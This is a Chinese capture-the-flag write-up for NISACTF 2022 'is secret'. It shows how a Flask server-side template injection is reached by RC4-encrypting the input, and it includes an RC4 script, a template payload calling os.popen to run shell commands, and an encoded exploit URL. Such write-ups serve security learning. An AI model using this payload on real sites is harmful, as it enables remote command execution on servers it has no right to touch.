NSS [NISACTF 2022]is secret

2023-09-21 23:34:31

NSS [NISACTF 2022]is secret

原题是 [CISCN2019_华东南赛区]Double_Secret

开题蒙蔽。

image-20230921224946351

猜测是/secret路由,猜对了。

image-20230921225015022

GET提交参数?secret=1,这里应该是一个注入点。

image-20230921225046945

看了一下network,后端语言是python2,不确定是哪种漏洞,所有想到的都测一遍,最后在测SSTI时候传参?secret={{7*7}}产生了报错。

image-20230921225249921

这一段引起了我的注意。

image-20230921225320339

大致意思是,我们GET提交参数secret后,经过rc4解密,解密密钥是render_template_string,然后渲染进模板。render_template_string是最常见的模板渲染函数,容易造成flask的SSTI,这里的waf是safe()函数。

用cyberchef进行RC4解密的时候,一定要URLencode设置成encode all special chars,否则部分命令会报错或者执行为空。

所以我们传的payload,想要造成SSTI的话,必须是rc4加密后的。

网上找个 RC4 的加密脚本,密钥是render_template_string,报错里面给了:

import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    #print("加密后的字符串是:\n%s" %cipher)
    enc_url = parse.quote(cipher)
    print("加密后的url编码:\n" + enc_url)
    #print("加密后的输出(经过base64编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

rc4_main("HereIsTreasure",'''{{config.__class__.__init__.__globals__['os'].popen('【要执行的命令】').read()}}''')

flag在根目录下flag.txt文件中。

image-20230921230605443

payload:

/secret?secret=.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa

image-20230921230637791


RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文。

拿脚本试了一下确实如此。1加密一次是d,加密两次是1

image-20230921232857224

更多推荐

网络安全中的欺骗攻击与防御技术

在Internet上计算机之间相互进行的交流建立在两个前提之下:认证、信任。认证是网络上的计算机用于相互间进行识别的一种鉴别过程,经过认证的过程,获准相互交流的计算机之间就会建立起相互信任的关系。信任和认证具有逆反关系,即如果计算机之间存在高度的信任关系,则交流时就不会要求严格的认证。而反之,如果计算机之间没有很好的信

阿里云无影云电脑、VDI以及传统PC电脑有什么区别?

阿里云无影云电脑和传统电脑PC有什么区别?区别大了,无影云电脑是云端的桌面服务,传统PC是本地的硬件计算机,无影云电脑的数据是保存在云端,本地传统PC的数据是保存在本地客户端,阿里云百科分享阿里云无影云电脑和传统PC电脑的详细区别对比:目录无影云电脑和传统电脑区别对比阿里云无影云电脑无影云电脑和传统电脑区别对比阿里云无

webpack打包速度优化

优化WebPack打包速度在开发过程中,WebPack的打包速度是一个非常重要的考虑因素。随着项目规模的增长,打包时间也会越来越长,影响开发效率和用户体验。本文将循序渐进地介绍一些优化WebPack打包速度的方法,先分析打包瓶颈,然后逐步优化。分析打包瓶颈在开始优化之前,我们需要了解当前项目的打包瓶颈在哪里。为了帮助我

Java集成支付宝沙箱支付,详细教程(SpringBoot完整版)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录一、开发前准备?二、使用步骤1、引入库2、配置在application.yml里面进行配置:3、alipay的java配置:AplipayConfig.java4、支付接口4、回调接口一、开发前准备?easy支付官方文档:https://opend

Ubuntu下 Docker、Docker Compose 的安装教程

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。DockerCompose是用于定义和运行多容器docker应用程序的工具,compose通过一个配置文件来管理多个do

微信小程序python+nodejs+php+springboot+vue 健身教练私教预约系统

管理员的主要功能有:1.管理员输入账户登陆后台2.个人中心:管理员修改密码和账户信息3.用户管理:对注册的用户信息进行删除,查询4.教练管理:对教练信息进行添加,修改,删除,查询5.教练简介管理:对教练的简介信息进行查询,删除6.在线预约信息:用户对教练的预约信息进行查询,删除7.健身指南管理:对用户查看的健身指南信息

Nginx之防盗链及高可用解读

目录防盗链解读盗链是什么?Nginx中配置防盗链高可用解读KeepalivedNginx中配置高可用防盗链解读盗链是什么?网页的加载顺序是先加载HTML相关的内容,然后解析HTML的内容,那些需要加载图片,那些需要加载文件,是逐步加载的,对于我们线上的图片等静态资源,经常会被其他网站盗用,外面可以我们请求到一个页面后,

LeetCode:2603. 收集树中金币 详解(2023.9.21 C++)

目录2603.收集树中金币题目描述:实现代码与解析:拓扑+bfs原理思路:2603.收集树中金币题目描述:给你一个n个节点的无向无根树,节点编号从0到n-1。给你整数n和一个长度为n-1的二维整数数组edges,其中edges[i]=[ai,bi]表示树中节点ai和bi之间有一条边。再给你一个长度为n的数组coins,

SpringBoot

SpringBoot技术简介SpringBoot是一种用于构建现代化、可扩展的Java应用程序的框架,它的出现极大地简化了Java应用程序的开发流程。本文将介绍SpringBoot的关键特性以及为什么它成为Java开发者的首选工具。什么是SpringBoot?SpringBoot是SpringFramework的一个扩

Spring系列文章:Bean的作⽤域

1、singleton默认情况下,Spring的IoC容器创建的Bean对象是单例的<?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.

Linux内核顶层Makefile前期工作分析二

一.Linux内核顶层Makefile前期工作本文继续分析Linux内核源码的顶层Makefile所做的准备工作。本文续上一篇文章,地址如下:Linux内核顶层Makefile前期工作分析一_凌肖战的博客-CSDN博客二.内核顶层Makefile前期工作7.模块编译Linux允许单独编译某个模块,使用命令“makeM=

热文推荐